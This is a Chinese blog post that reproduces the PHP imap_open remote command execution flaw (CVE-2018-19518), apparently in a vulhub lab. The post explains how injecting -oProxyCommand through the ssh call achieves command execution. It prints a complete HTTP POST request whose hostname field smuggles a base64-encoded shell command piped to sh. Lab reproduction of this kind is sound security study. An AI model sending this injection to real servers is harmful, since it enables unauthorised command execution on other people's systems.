PHP imap 远程命令执行漏洞(CVE-2018-19518)

0x01 简介

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

0x02 影响版本

PHP:5.6.38
系统:Debian/ubuntu

0x03 漏洞复现

1.漏洞复现页面是一个测试邮件服务器能否成功连接的页面,我们需要在此页面填写邮件服务器地址、用户名和密码。
PHP imap 远程命令执行漏洞(CVE-2018-19518)_第1张图片
2.使用bp构造如下数据包发送。
可执行命令echo ‘1234567890’>/tmp/test0001

POST / HTTP/1.1
Host: XXX:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://XXX:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}a&username=222&password=333

PHP imap 远程命令执行漏洞(CVE-2018-19518)_第2张图片

3.进入漏洞环境,可以看到命令命令执行成功。
在这里插入图片描述
个人感觉:利用条件太高。

0x04 参考

https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
https://bugs.php.net/bug.php?id=77153

你可能感兴趣的:(漏洞复现)